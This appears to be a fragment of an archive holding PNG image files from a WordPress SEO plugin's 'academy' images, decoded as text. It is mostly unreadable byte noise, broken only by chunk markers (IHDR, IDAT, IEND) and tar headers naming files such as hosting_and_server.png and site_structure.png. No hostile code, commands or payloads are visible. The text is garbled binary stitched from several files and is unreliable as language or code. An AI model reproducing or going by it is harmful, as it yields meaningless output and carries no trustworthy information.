�$s����*o�C(,���KO�_z��;�#��ݕ��Pw�z�x�N�xw��
�f�G��(��p�9������~֝P:`�rG�Ȇz�| b��ҁ��{�J����g�m�ҁ�������8��\,5z�@��k�ZK5�#����/莴o鉯��kJ���;l�����G3JZi�^o�i���_�e�>v�@�H'i�㰍��\X��[:��ґ�S�ҹ*��{�������,�)}r�9�Υ'�HX��X:�Kݵ��(w��ҧ�A��t�ù0j�q��}�>Y�%�t�������Q:�a��H�h;�n
�i���t��VRt)=Ví��D��#o_z�\�ˊ����f�C7�x��P:��׋z�5t��_kJ�	��P_���7��vF�����c�a3��1(S�G�[z��U-��(�*��T���}.�<�ҧ���#qK�z#��).N�{v�t��_�e�).�|��+�C�ߎ�~����H.i�JŻ��;q��V�Q��xw�wP:����H�nz#��(�p"��)9�,U�؊w��t��ʠ��^*���߆�1^����l���;Κҁ���E*�6tw$2�5���qC(Ute�H�G:��?S�U�++tYS:�YE���i.<ҟ�t�pw���6S?E�#���])�1�+�x��5����H"�n��]֔�ʌe.����y�S:<h���c�.kJ�P�;3�4���e]��KRʆ����f��+=2JtۨK�^��u�nT�Gq��k\5���]���C��(�����0Å��������6:�f(,%�}�.�ː6�Fq!F��Ȑ>�/+�	fn���.~Y�@$�ԙ�"�"�8���M*��R]3�a��*0��&q*�e`�_U:[	���9�P:xE�ː�`�g��t`.��&����tp���8�E�'M�`���(��;�Í*�<~�)�eK�����t��R�����t���|_�nW�BP���QWǻ�%������*�Ñ��<�OI�g���A:W����a��a�w�.�yI���Q���:���(�0���xz7��_e�ν��ss����L��qm4��M���ù�DL�(�/�b�L�(�;�j�<ߵP�Hd@�2`��)&�"R;�6JWH���ْ,l���t�"���li<��e�Jg}9�6�-�Н:��X��_�`c���[�.Jg�n��P�#5���H�t���]d=�N�ctN蔎X��w7���Ÿ�#tJ�t����\�ь�9�S:��F���w��{5B�t��ߖ���ە)�tN��mRV����y^Z!tJG�+f�)�O1�m5B�t�V���?�<����)�OT�Ǡ�G�:�#�q����΃�����v�tJ��y>�2:>j�t��H�_�n�I�z%tJ���2�S9��Z��Dl7�W�t��C��󨐩8��B���y���;7�p�s9$�#��
�)��)�L��+tP:?֒w,=�{��ۆ�`�ν�Q��������v<V��g��A�<�H�R����l/w�N��fs<~Tg�n�A�<ҿ}��c��w[m��O����)�ߪ��iP:���-KOso����z��c�'�SUU[�m[U���7��#��e����wkw�6�����G��b������f�YiP�B.��[�n�;wj���T�)�>7�;w�۽�#���;?�^��;wUǷ���Qs�.R*��p�߹��Ѿ����5�U��ڹkw�;(��P_/���U�^>s�iP:�*䖫��M��^���m���#��2�t�ęRƱ�h�;(�ܴTV~*�U��Q��.4(��-Uw��q�?r֕�q�Rn����)���_�/4(��r�j�@wq�����c7��V_�7mG	ھkP:�rO*��L]�2E���+X�'is(.Od����+�F�X��A��_@�H��"V�e�L�v�[����+�|?�Ώ3
J�_��W�K+t��9��Ż��Eq2�����Ĩ�J��j�{�t�x����u:�t�x���~^k(���q����Ku��sP:�޻�y�,���Q�]������9(��,Τ��9(M����:�#�5t_>U�t=B7{���S:n�{��u��Hn��J`tN�/��I��{5P:�����h�9(y��3;�q�L�JG�-�H��z�m�ґv
=��8�t{�t�B7�L���5��t�f���Wk
JG7Y�3���=v�@�([�Y	nǴ�J�^.�'8t�2���a[~�:��9(y���W{���ȥ;�־�������}���3�����ï�A�(�e�Ʉ~x�>��!?d	��Y;����r��x9��ұG�?t2�t�6�3�3��gJGr����_/sP:��(d��dJg�3i=���6aB߲oN�Tt�Kս�awZiP:U��IOy5A�Ω�d���#��A�H�w�dP�J����lѰ�(׾I�_�aJg���#\�|>�{���)ݝ��B��2f�t�R^�����7������m녞P:�l��ɺ7��JO(���M��a>Ӡt�g�[N��J�����~�7�	�t�?�q����vz�ow���N�ָ�T�t���8c_/sP:Jg�-y��A�H���j����JG���_6�zQ��}{I�͡^
I�I?l��C$뻓~>��S�C���ݫ�~�t�z]>����P:������P:����ڹ$�� ��AqR��1�~��Tl�>g����ϕ�f��"�;G�\����{�}�����w����)����ްP:�{��F��P:����k���=엌+J�����&ܸ�t����?�(�/�gf/AG��+J���;?(�N�u��B�d�a(���YشsG�}��vsv�(��%w����2t-�Ǫ
����6�\(� G^�iP:��
�P:�C3�҉��)t�Kg t:���у������[҅N`��N��-�B'�tB�]�t�ӡtK��@��K�FB����;,�Bϧt>SE��t��S:���5�L(�M��˧tn��A齖t��R:����t�x߯P(�[oB߭T(�;���(���(� �㊅�y=�S�P����ʅ�9|��劅ҹe6��{b[�\(�#3(��{�(���C:J��!�7��%=��Y1�~���t��Qz�~>�O�<����-��Y�jJ77�p(�C{�|J疽;Jo�;Jo`��=��9�wG�
�T:�΂�;Jo�t��t�*Jg6��9� �t.ė�\A|�L
�Kg� �tf
�Kg� �t.ė�TA|霟+P��P�%�cIG�X�Q:�`Q:��|��-��IO��ӓ\IEND�B`�wordpress-seo/images/academy/hosting_and_server.png000064400000021467147510273100016633 0ustar00�PNG


IHDR���hO��PLTE����������������������������	����
��/��@��+z�)x�
��&��H��al��Jy�0n�(j�5o{BsR]}3q�Yt��Au�<qHd��qIvP}��9q7����.l>k��W��|�ƈ�ΐ�ѓ�̆��]��P�zR}�?y������������گB|]W{׸����K��������3qΠ����ݮ����Ӭ����ʔ��������������r[����p�����x��йc����������϶÷���x��Rz�9h�!V�<k�X�����ʝ������֫k��.`�t�������ɪ��-_���Fq�Juٹ���ͽ�����Ý�ѫ��f��/a�Y��g�Ð�����Kv�=kʞ�������u��_��#[�$_�%`�+f�Gz��������Ҭ��!W�&e�'f�E}��ںˏ#\�(i�-m�^��"Y�$^�%c�'h�"Z�%a�Q�޳ɦ1oʆ��;vئ��I�5r���t��>x���4r�I��,m�Q��i��a��@z�e��E~�i��<x�0p�U��@{�5s�8uס��M��Y��,lϑ��d��Z��3q�k��n��&d�x��M��Bz�Y�ݵ�Ҡ��j��\��@u�_��8k�q��d��1q۫Ūc��p�Ē��(i��أ2n�V�ͦ��*j�K}�q��)j��ЧAwպȻy��6p����0m�.k�\��9r�4oҟ����jc�gPx�%b�#[�$`�'g�$]�"X�&e^i���� 
IDATx����H�Ao.�0�������l��Tm�f�Q�"��7(�ּ>�dX��<�S:|(����Nz_J'��#=��7�����@��]�t�>P:��(�~�N~?JǸ�c܂��<�c܂�1nA���t�[P:�-JǸ�c܂�qLG���t�[P:�-(�>�t<�C���t�[P:�-(���qJǸ�cܢt�Q:�-(���qJǸ��yJǸ�cܢt�)P:�-(���qJ�~��c:JǸ�㘎�1nA���tV�D��q09E�3�`6P���_X\*�����oл��or�˜ۼek��w�_,��m&P�[l�QHc�֕�F;���(}�B!����;7ڼ5P���
)�	���텴�J��dž҅�ԕ.t6J�Y�n�ú��v�7ۻw�~>Ł�����#��6��)�hy�c�������i�Щ��cؔ>_^���\;8[W�����1����鼛�u�-�*��Ɛ)}���'�n.��x�+�J����ҺtY�]��p���=����л>��Z�}Kݗ�җJ�R��Q����J�^Z7��٭��)��7��괳۵G�ƶ&�ϕƥ;B��l푻�5����_��ݫ}r��w���~��� Gk��헺Wb�����C�v�����v�C���pJ��d�'�C���_�r���*�]�J�rOu�b�2�A��2>ywLo,^�U�a3�[ZW��Rz�U:����YV������U��t�+=?�s�*=?��B��t�+=?��*=?�sE�)�kU�)�gJ�sK�)��U�)��J�sO�)�U�)�GJ�O�\�J�O��P��(��W��O��`{��Op��n,#��a�8N�R�8-��(��f:ә�I�Z�Lޖu�t�?1�b5��L^�S�ә��~Hf	�R�S�ә��mW�����oI*Aʊ��Ldz������t��,�˯��L�yz�GyStLg���%o��Lg����T>Av1�yL��Lw�y~�:ә������j�3݇鑒?!?��tק�Z��bb:ӝ���r��t��;}��&�ә���g��c��$K�ܗ��v���+r%w�X���(ш"h����4Ry ��,[5��
է�6��E�M �|�5������Yn��t@��>E驃ҟ0H��F����r��(��=�dxddt�O^���s��z۬t@�8�{926Q�4�
���n�m��(}p�������kW�-̛�_��P�}��z(]��}�<��jg��5��?|�%���C�ї>�[^����=�����,�}OQz�C�Cܬ���M������c��[�+�Ž~�B���OL,�/��SG�P�n�G��>���ķ8�n��/P�b�߬R
|���0����t@�WїfW(
���&��S�*P��Z�XM犭��(]=�eJ���6
&G�SW(P�4���P*���()�TN]�t@�wd�oR:|=cÚ�+�(�N���������J�~�ݭ��s�̨�pX�j�B�҇s�7�]��?k����eg뫔ߘ�LpOۢt@��%�q�ڎT"�^}m��R~�-���^cG��Sy'�.��w�I�(��~�K�~5���Jd�{��ߛ��q]�[^:��+	�C�߉T%��0�[�zn)�(]�4ni�<8��@�/��������B���c�Wȃ�N�C������\�}��J(���h�|8��R�:E�_)f4�C�W�ǹ�(��P�ev1G~���U�Àt�e��F�-��/)�E���D:V
���S�x�����d�2LW�dHϑl�0���l�7ɗ��ҷ5C79:w����ΝQ�PzK��K.���/[����C��]�G�#K�)Jo�~-���42��t�kDA��\�!Jo�~9�Щ�;L��h�/]����K��74�3�}�a�'�=J7�l�7�t�ү&��SYw���iA���.�	�(�R¡�*���M��nF٪7���_K6t:T�6.=�'�F�����(}�X[%���t�i����S�G=�N�%X:��{*O��UU��_���wү�&Z1�q�f�m���(]0a����$l@^�d������M�:Ck��ok�(]��o�g��0��q�gT�e"�I�q�����:�J�/�D�l�K�C�4.=h��	�K7��-��	�����Tq��#,]uM��/�(]J,�K�T�z�m_a�n)��.�Hg1�����Pz2P�=��8�c�a�'ƥ�.��Q8{���_G�@�C��<	{J|i�J7�ڂ�=O�wX�Q��~M�O�]Eo���X���ѹ��$Vz�-�t(]���&y��7L��q)��?�t�S��b�^���Os=oɿ�a��PP��^�lя��tɽ�ȿ��0�3�Υ�lq�kC��6�kle�%=��哶�(]J��u�!��0�3�ޥ[_Jq�+C�w�>w���0�U�Rz.4
N�J�g��(]J�#fF��i"K����Q����B�.���j
ӿw(�����"�����tU(}(��8�R��((EC`�r�G(]J�����v���۞��q5yR x����Q�&�~�����8ۊ�0�K�V�HC.'/9RJW����F��߉��=P��֦&8Z/J׃����h�	W��0��I�y�v��A��K��C�*
w[��'=�q4ʑ��t5(��`I���6�j��q�����q���P���D�����%�5�-��g㦓Ը�>̑��t-(}:��N[��{Um���q�!=G�q2ő��t-(��`�.��R=	����=G�N��uҹ�X�>���?f�Urv(8b���7�]�D�.�L�����?a�urWr�UՆ�7���j7‘��t(}��%���T�fzO�J��H�(]J���I��y���5L�0M�/p��(]J��]Dž�Xm���IS�9JW��/�����-k
��t�>ʑzQ��~��a��o����潧��{�����%��q��(]J����NK���0�Bq�a@����.��~�k@�W9�I�;m�Ծ���X����(/}�#�@�P�x�n��}/�
��ĥ�������t��(�P��>(>y�;uؾ�}��~�~�`��C'��G9JW��/�O����a:��K�&�&L .}�#��t�P����9|��P�*�F�@�{�y�5���J�~������I��F\z]82��Kae�8�-��J���-�F�]�7�>���E:lM93F\�I�t@�W���
��[z�t�Gy�&oK���ҟ'V:��}����[�|��&J7=9:����>"���P��R�O�*�a��/��k��:Oi��9�25�n��a�z�v��Oq���J�Nb�7���_c��_���1��T��gH��a�:�ɏ,J!�>K�:��}?����F�_��ɯ�ԽƶK-)='��[[:��e��?�_�I�m�D��h�.�'Y��t?���S�J��{�a��qwF�r�w‹6��{�)P��p`;]�_YW+=Kz:MZJ�>C1�[��U�0]D��V��JM���Ɂ�L�l}�RjI�&���LhRS:��9�c;z��+���ti}��7(�j��x'�1ySL防iA�c���9%*ˇ�2Y#�u�Q�cD&P�2�^�Q�aT��a����t�Zki��W)�����u����;IM>5�J�x"��O��t�6�2��(Ly��c�zfW>L���,G�N��u
�Q�r=��o�����R�J)v��3��g(�C����ӿ����8JoS(=ƫg��t�K_��&J׀/;(�n��ˇ��K]��i�;JG�����W�����6Jׁ/0*�N��K��W˩+}�]��(]����<�>�L�َ��$�/]0N���PzCJ���~H~m䥇�s�mI�#�}?P�=���Q�%�lL^z��"\1��D���!J׀ү*���7L��q�y��H��,��Or�(]J�b/]�Ln�|�Oq�g
�,�C'��?�
�P���D��m�a��켴�M�	���8�#���_�*��6L����w�y�HK���t1�^�U:}�5L�X~!-��.ž��JK�h��@��J?��[l�KK���d�^�ȡt(��V�T��[,M
K7�ڂ��<�G���u��!��O���3���MO��u�&����r(]JO��-�a��ܨ��s�l�޹b��>J׀��]�*�*�a����)��2�������Q+��>Lװ����q�t�kA�Cj�oۇ�*֦RS�$G{���t�u�=��E:ևSS���o:J@��J?��Ul�k��(8q.}�>MG�JP���K�#%�<j\�G�ϲg�l�o�t(��U��K�e�'��3:���wzb<6�OQ��n��-��~@jfyLT��N�b�>cC�jP�����toy�}����]�|��@��攭B��xѭ�N�λ�8�q���@���3��h��M�+�`��P�l����4l��e.��7��n�t(ݲ}�Q����Z��W6��2^-��Jׁ�-�,�e͛���b���8�
�ҕ��!�GgJ��-�����;���kC�"�lo��&ek^�3�UQ�_z�A�ZP������+%R6�uQ��%�&JW��-�f���X&m�̼�Υ���J׃�k�z>|/�Gl�f�_ηo�l�o(P�%�Gr�K��L��ڶ�a��E�P��9���W)k�<ٮ��`��
�ˠt����Wʔ�7�<Ҧ�/�M/Jׄ�-��G�'����3Oh��pwݠtM(ݲ�/i|�ᔒ1��Óƃ"]��.��<C��Pz�5?ԏ�Z�Y���>bb����tw)����J�>���w;{��9��樂t�c�g�^���[<��G��tW��E���b6��_����F�7[�(]J�뭑��v�9&JvQ�w켓b�<3cы�աt˃roIj��S���Q�u5���٦ߠtu(����҃%i����wSl�x�P��nqY4g��E�Z�w
��#�-ce�[&���^l��R���;��!J��luݠt=(��`��^z�7��N��r�I��8�E�P��4_X�Vz@��dv;��Pl]qBnZP:���5����8�˳ra'Ŕ�q��}�Q�.�n���d]p(�S
S�8�:{�ΏJ׀�C��]f�]R|��(4n�?7(]J�'v�G�ߕ�Uf���Y�z�}�����ߗV�~J���/��n��\��{
JW���i{���>��
�jd�4'{��4�P7���J|����r�Zk��uئc��yhP�����=ɠ�R�w��r3��LLp=}(]J�U_k��A�ڗ��.��Mq]��kB邿�͕�U�=,s̈́Qe��fqˠt(]�T울���K�>�p�Լ�g?t�_JG�P���~|�Jmg���'����Q��.~�R�5�O�d�;w��F�q|!�J�J��� `�6��L@ ���@��n��e�j��m�]D��Ҵ��dN���y^N�8^-�%�.���?3q�y��P����-B��B�x�3q�qy)�%iN��Xi�҃?�0�R�bU|Ѓ�L��C�>2�7�?�K$�Z`��J��L�n���v�d8%]�t@��ԇ�R�H��|��J�Sw=��s�J/��f���K���3S�ZK�s���K��~�*u�7�Sʳ`��J�Sw=���]v(�V�דɑT���{��n4h���Z��p�'���E��J���gF���O��[�f~Z�X$Y:���^��
�1�3�wiSՀ�C�{M�t@���t���g�-Z��=�y#{D�J�ѡɫJݠܝJ�f�	�G��0�0*���X*W*�j�R:.ؼ��Eq(P�o:3*�Ƽ���o6�p����(�77:48Ri�ؔ(ݷ����w`Q�J��^U7xy)���(�7��K�|�҃M�FoѠ˗(]�bfTh�Y��>��h�t!��
M��$rD(="(]�t~�'�*�J�J���ƨ0걀d�Pz�P��[%�����IJ	����|�(]Jo��h0���$�;G�2Pz���h�5�Z"�%B�q��|�bT�9���C�Pz�[%�>�~��}"��J_a��{��E왤E>��Jpws�#��7�H�����-�_��p��u�-
�C��wWߌ�ac���d���t(]������F��8�K�4�.��\��gF�N����c���Q*'9J��,&�������=zx�I�P����􋽻:�#��(<_*0�63333�ݡ;�s��i!s¯�Z���$���t�� ������	�=!���A�H'�����tB�{H'��wp�tB:�t��zD:!�a:�	��/!���0�t�����#���hA�	�!�!�{v�t���n�i�tB:�t��S��H!�a:�	���tJK���t� =��(�a:�)�,nql�1��3LwlJ�z����F�eq�c3*W��*t�N�~m+���
�S�_�
�2O�]�<�?��6\�)����t��ޑި�=�.�5��.�^�(��0ݫ;�Za���K��X����B���Uz�b��
��yxGz1��5;E�t�������/��2_��/ԯ�)ҡ���n걍y���2�R���Y�4v�N�i�}�o�H�֯팝�Sd��ܾꗆ{1���S�kc�0A����f�X���bV��;D"��K�Qw="�^��:�%�P���u����H}@�Q7���Y����P���7��X̀�'w��kj�Q4܃C����9o�
����%��{�H�{՝͢�k��E ����Js�(�����{�Їt�>�w9�#Q�%߀���k�LC�l9Gx����"�9��y�v�ޏR�4���.'T<�~�\�S�UϮoJ�����;���υI�2���VzU{
3g���rJ�*����#P:n4�3/WX�O��ұ�t+�Z�w�}!P:t�yk��l^@�����4F�KA�x�hn[���V���9��#�<�tي��?j[���g���J3�4����ۨ��ʱ���J�����4ko̫��
���rbP:�g�)��}��J��~Yr��V�azc�.lK����Z��ڼ^�:[1{a(�%�����V��0}e%Sr��y>�����[�w��zP��vt�Ň�r�aօK�ṳtN��כ,����
���D��kE��:X��̫"J����!��y��{^Jg����9�t���w�
���=9JǕ�J�lo��ּ>P:��(�q����~v�+����@�x�+]���2�	��~x���,�[�o�s�����J�M\�Æ{.�Պ-���@�Rt�[��ik^(=�D,(/��ת4����O��+Ŗ><��μV�?���
���)��l�4o(=��#A�Ҕ��ٛN��yR���<���ެ¥�JO뛦������2P:�&����*(=����t�jj镽�¥'}y������e��p霴�ғ����K�Z�KO��:(�:A�y�p�)�]�c��(����L�/��Cu�]�)���1[_z��A��ն9>:�"J?��M�t<(Be��>a�U�t��@��,���828�NV�S�Q9P:�qC��Ӡh�k.�]9Pz�ݸH�>�ܶ3//NX��Ѐ�	���W���NΎ�S��W4�a�TJ�g�tB�\߯�
]�Q�q�tB�����;uP:��o��ťJ��Q'R�M�t.��m�t|[h&�Gh@�xЌD
Ƃ�q��Y��\,(�;�C��:(����o��A�~�,�不�1��B3��#{���MНf�� ��tn^��}{�A �((5_����"����ֺު�3�^AP�ҕ�ҕ�t��t��t�+�+]�(]�JG�JW��Q�ҕ��Y�tޟi�����1P_:��/�s@�.�׻���Pz�[@����{�^o���P�{(��!�@��-�t�P�qJǸ�c܂�1nA��t�P�q(ݸ�n܂�q�C���t�[P�q(ݸ�n�J7n����=�Q:�-(���qJ7n��ǁҍ[@��-�t�����O��IEND�B`�wordpress-seo/images/academy/site_structure.png000064400000023334147510273100016027 0ustar00�PNG


IHDR���hO��PLTEJ�wp���¬R�~���j��N�zc��~��Z��u��z��l�����U����̼��������ο�����Ȼ����w������Ʊ��������a�������ă���ʶ�������������������������~��S��^��i����������^������s����E��>��4��)ro1bW97#H</�|*VH
	6mY��jɸ�z],��WأL��f���M:ʚH��H\�c��B٦N|~NP�nN��
>/��J��<��Mi|T�R��x����X���ґ����c���lR&�������������u7����ۨ�����������9���i1�]F!.#�ݱ������-//�~�������@@@�moo���폐��������������i�����ƻ����ֹ���������������MSS  �����```�������}\����Ķ�����������ܽ����}���������𞠠������۫�������B~i���3+<va���~��E�p���a��Ryw$���#>7�����6LK��������Ehf]{y���b������ꜷ������t���רW����i�����դ��I�̋��z�����h��|���ʄ���x��v���ݿ�֩p��l�����f��c��͐�ќ��Ɍسn��z��g1q�#�IDATx��r�8�aΉR+K��m�t���͋Bq�;P�����u��K(Ͳ���%�fe�|} �X3I���W
@ҿ�
|��c�|} ��2�H:������t6mIg��t6mIg���t�iIǎH:�6��ST�%���K�i�V�`!IGRi4�c��j��;�>���O���\~�XÑ�e44@�IǠ!��'ݴ�'���&Ӿxz��m��s�o�����PrG�ٴ�%�}l�*�����W��M��D~�dh������8g��&o�.'���+�����&�qng֦^�z{U�;�e�fg�t@�K�tŹ�����i�ڴ?�?a�2����$�͆8�������t)����p,�չuί�
@��
��<g��'����i�Mr�I�ř�@�#M��\̬'��^��lb�u�	�˞�y�������'�d���6mǣ�	��.���k5ĹO�S���i9���x�,p�m�x���+��W[�O\����i�?(�0��Y��8��@��+}�ьݴ���&�Y�v�$]}�zu�Z' q�ݘM�p4a�7��>4IWuS�>�N`��z��?Яm�k��n���>�l�k���+�wB'�/��@v~���?L���Y�C��Aƙ=�g�Hz�'�{��'.�@ve���ԋs;���� �njf��g]+��'�;ףϊ`tS�a�F@�u���뼨'���q ��M���bW�g��j�gI�vS#W| ����O�� �n�F@��ߴ�b'�/}�ϊ0��Z��>�rX7U�ﳶ;(@75�K\Q�ue5���A�!�V���4�iS��r ���M�ﳮ�wS5�@ғC�aZ܁�Q;~��gE��z�}�O��Y�n�^h���	��ŀ�O��i�>��&}V��t����Ľ�j��>���E7����'��}�o������F��1��H��0M�8}7U߮#��I�7��[������H�� ڡ�`y���$0��ְy�R��{w���*�ٖ���~������\K?���_뾺��Q��Qz"��"��A�JG��JW:J�tP��Qz��ҕ��+���(]�t�g@�J�+=JW:(]�P��A�JπҕJWz��tP��3�t��ҕ�+��t��A�t���J�+�gP:(]�(=��A�JG��JW:JϠtP��Qz��ҕ��3(��t��A�t���J�+�gP:(]�(=��A�JG��JW:JϠtP��Qz��ҕ��3(��t��A�t���J�+�$Jo���寽��=�3���j��j�^�k����-Jgv��|1Eqú\r4Nq��Rg6��8Iq?V�0�a��40�ҟ=/W�(�;*7�~Lr���H/���ō{���rn���ۖ>>h ��/�%��֫r����N9�7�:�eO�6�P��O�\{�*�}���N�r�{g�#9�Q�����!����Z��'i��D7�z[���u��+?3�?A<��)W��g���Lu\WDz�W�1HF�����C��q�,
@��4SD�Ӱe��Dĕ�}޼n$�<�
�	�����E6�("���q(_<�8���~,��0��E+��v6�("}u��XLD\������4+L�`��q]7n"}:��o����/q�-K�x)��Kן2E�O"�w�����7qx޷�ե���p��Y���MY�>����y�S�0ﵘ���|DZ�g]/�Qx�Ш�q~㦈�U����7�,q���9�4�~�\�x�U�UD:��D݋&��Cv�AT_C��|9�Q�UD:?#&q���<L��0�0���>�uE���ڑ�*��v�J\+�aS�?��Y��_U#-H��[[��]����N�g��uE���*>k���C��r�~s�i�7�U�1����h��J��M+Q��|V���M}�n��8���w7�<��.�*"�W��>k�r����o���*�ݺ��U_����M%��f7���"�q��|a��P��q@_Mp�hpS��g��TC>��M�/	�꫽p�q]��pS�T]|�*`�5�K�����U䳊t�n*o|ָ�����ksS�J�|V�>t�' ��E��n*/��TR�SAV�{vSya�3����C�0�c+�U��vS�|V����ann*��"}���~��?�e��c�T*U��*�}���~�3��|fx����J�|���T� 98����;��*n?����g%�����Ϭ"�U�����gi7�XՈY�gAV�dߛ�Y�W�ThM��gʘ��zB�:8��U�����N������g���)�E���Щ?��#�C'�cG�#��?����"�;{vy3G�a��Ì�S�������~\�N���̌t���[6餋t�I餓.�I']��N�H'�t�N:�"�t�I'�t�N:�"�t�E:餋t�I餓.�I']��Nz<�I']��N�H'�t�N:�"�t�E:餋t�I餓N:餋t�I餓.�I']��N�H'�t�N:�"=�ֶ���ή�;:z�ZIW�#�B�����?�����!�U�Ho��c
����Ƈ&HW#����&�F45=C�����g�Fk��IW�"����^��"�*K�/-G����6nu�t�#һ��}m4��
�U�H�A��e�3������VIW�#}�/>��m.��"Gzw�p���/�y��G/IW�"�'e�W���yP��?�IWq"}��/y����^<"]ň�P�o�[��>"]ň���~���!�Ћ�IW"}�/{����a��'�;3�m6
�8�a����ſ��Ho��S�)�����}���|�]�����@�u
�I�1�ޞ4�C��V��..��c"}9i��vb=t������I�=tٌ���ǿI�+���2�C[�?�_]�|���|��I�=t��A�
Я�oސ�O"}9e���������nnn���G"�=:�#�41�@���{Iz����ڋ��U9���/�����`s��p)�f�G��2li��afff��aff�_V�E�I׮���Zr�~o1���I3͗��'�d-���D_8o޼n0h����E#�I��+�7P
�`��x_���Kh�]��ti?�4��U	�˄���t����t���Q�]�����ҥ�W�X�����I���\���E��ڷ�.D瞯��^
�\���X4����l�^C)�K��<��(�rqIR��1�n�Ψ�!���mJ	]�1W�u�C�!�tn�u5�_�a�ΩH�S	�.�I%t�R���]�a�А~�5u�<OVY���L�N����D0�R	�.�7q����u6m��
C:	�*�D��b�	]�A����-N�<;B%��l�Sn�b��61Z����K�[y�=�Ǭ�w(��i���)�6�1��PK�"�or���5��[~�m�ˋ�8��t�t��l9�~�g�g�l:!��7q����;������w@/�d**�K`����NP���n��.o�۶o/k��փ��)�t��j��zx�Еg���?��Ѕ�[��ee����Y�G�q@/�$bQ����ӵ�kx�<�L!�s�%t�]��vtgy+�)��}@��z�F��b�U`�v�<��A��Bp��K�"����ر9�[$�]�,�<�A���t
(����;�\B�����]��7��M����y!.�Qq���	�g�Q�r	]�]�v���6X>K��*�L�˺a8��t���D̳*�����M��w���Z�˛\q��w��}�B�
�0�`d��ٽ*����.y�kϾ}��_�đZ	~@',����H-��`��<�L%�s����
}_M
�trCA��l��W��p�8���Bl��D%�s�Ѕ�j���B�kq9m���<+�鄁/��#>�_�j	]���f�פ�3Z�7��T�xG�B�h�u�5�Yz���m_��%t���f���fSkR� �yV�^�󬄮�/~�}�B/����z~�p�`�?a65X��nj̳�N��S%�s6�K�"�������
wzh���:��Jp�:1�sя��'̦&��g��5��Jp�TB�<?��'̦*��`��N�l,�m���3�̙3��=�c6�AJ�郌î葈0�x��haW��<+L7a�K�>v�hKb��-'H������
=r�T�`�?a6U}�$����Y���gȚ�O$�>c���VB7q/<?{6c��_��:��yV�^�����,�L綜�=��pǃ;�L!��{̦�/�<+L7�<�Ua�H�\~���z�/PK�"�3�/^�l���0��N
�0]��/f����K6�yپ��7�r	�(�Й痮^6�O�M%�yV�^��s�tFQDgl9f{��4��_0�3ѯ^�v�p�	����Yaz�5�~�)�瓊�O�^L�̠��Epg�_��l��?N�MU��0��<�˃lo��>��97H%tܙ�7��Ϧ�?�_`��yV^������s+�M\��o�if��������Ya��yV|�B_��9K%t�����<�y�n3C��
�2c��̃/Bt���O��	�kI7q�7�;w��<��Y������o�o��{S��;�Й�L����9
`���g��Χл��Dp\�-��
�{~���?CVm�	�k����o�?���?8^����yp�s�޽�����W�MU�g��0]+�w>��~���DŽ:���G�
�7V'�L����UB'��~���'�%t�y���F/("Ʉf���M�w����B�dc�O	]w��fM/Ih���t����z�x'W���Ep������K�J贷Зd��J�lC�j�ٳg�az�0��׆N|}���ǔ���ٻ��8�%������I��LJGH�Phf����iO��<�w��F1�I�;b6cM�{ԣ�P�g�ݯ���Θ�x���R�(ݶů��!����M�B_�^sB?z�T����.C_���~��y1�
�{Џ���R�n�t��]܃<����ă^^^A9�(�.@�&+tq��)>�iw߃^^^UUM���(�h�.�G�K�T+���^��բt�����!����#�B��꼮�����t������=���+topW��5���n������!�R}�ӯ��]uސMJ�[(��f+ty���oןЭн��A��Hq�Q�U�;rF+ty����"�Ԥ[�����<����JQ�M��`�B���s��o"��Ƀ�|Л����Q��-������rp�9ZZ�W�ރ�B?v��P:�t�>g�B�� 0��N�н�U�'���/�n����=�rp������O�l!eӟ9���i�B�� ��S�ܽ��S"*���@��m���
]r�{�P�Srp�w��G��R��m��}��<�";�����iwz{�)5�_�
�[(�;&+t�!���=��V�rpoW:س�J����+ty���7�K��O��;;�س��J��k�+tyȽ�gi��/q��:����b�(ݦ���=�jҪ�_���{{��(P�M_3_��CN�M|�s�K��'�J����+ty����$�Ĺ�ҁA�y�J��2X���?OZrpw:��OJ�n�7�W��dk�tZw�2�~�P:�t��e<��C�դU0�+�Üd3J�n��5^��C�-��(w����J�J����+tyȽ�����B�M?'+F����
]ro"�Q����7c��l+J�n٧MW����Q҉��}lll��G���Ԅ�
]r�!���A�����Q:�t멛���!����7�+�s�/T����O�p�.�OQ��3w-M~Еi�Q:�t��?a�B����)����2���%KfX،������
]ރl$�BvDF��}I���(P�}��
]ރ��d�7�'��/���b��J��V��d[�ݼ��:W��q�B�(=��d�.�A������ܝ��9H>J��O=a�B�������Lt�B��� �(Pz8>v�`�.��'2�x�粲b��(PzH�X��W����qop��❻�����o.C����/,v�.��D��]�wt�pc.գt@����B���Oy��ԷdN�w~v���[�(�J�G��z��?���Z��U�g����P:��P��+�W�C�w�y�Ϟ͌���R�(=d�hM9�k��XkHu�df��v=�J���ԯ�u��G"�5�t�y�Y���P:��4�h�k�]s�}��"Y���<��W��!-��?֖r�.�A��(}�y9�{�(�U:|��6�
]r�g���ʐ��P:��t(;>��Г�G��V�
=#"��u(�W:�Q��F��'��J�Q�|F�%��.ԢtHc鰎�J���_��R}���q�7�K(�X:|h�5�j�}���c�X�9��.�G��ҡ��U��/q��2Ӭw�K
�zkP:��t(%J��%�Vf����]�E�ґz"���/q��2�YgK.����!��C�F�l�3Gb��sEu���@��P����Q:R/�ŽHlfD�s��M�=�aJ�4�GrH�����gF�w�W�Y�R@�P��!ݥCYN|p_�kf�7�g��B2�]�(�^:�m� }�.$w�W�LwWNX��6#t����ҡ�5"��%�(չr�tpwU�R���%�Z��ϾKG�H]���u�{wf�{g
���	�����+�Y��`���L}fX�k-�/_�w�r_�ԩ�d;�uV����蜑��v�߫���
h`z�́_�f)2���R�s��]��5�	u뢯�����G���n�^~x���E������gH�ƚ_���ϒ����:�k��tp/��6o���C�2�v�g��a�3<���Y���o�w�g��3e
[��V�gٽ��C�g�w��߽@��E�56x��R�w��_���GW#;TV��<�.�����&d�-k`Lw���U��Ո+�3�<q|�F9�z�z�^���ӡ:p�o�B��o�9]����+A�,�`Lw���{Ѧ/_�:����ކ\t24�ł��W�?��5�2o�̵�r���tzYÂ�]�;��^����t��KG{v���	���˚�����\j�i�	y�l)4����p�k��h�U󄜲q��b��0�t	��>|ښ�}���Won�u']�g��	��_7�Oȿ���>k&
�f���>++�����W���������4��F%�(# ����;L���|���L�8���t�6j�ѽ��M�e
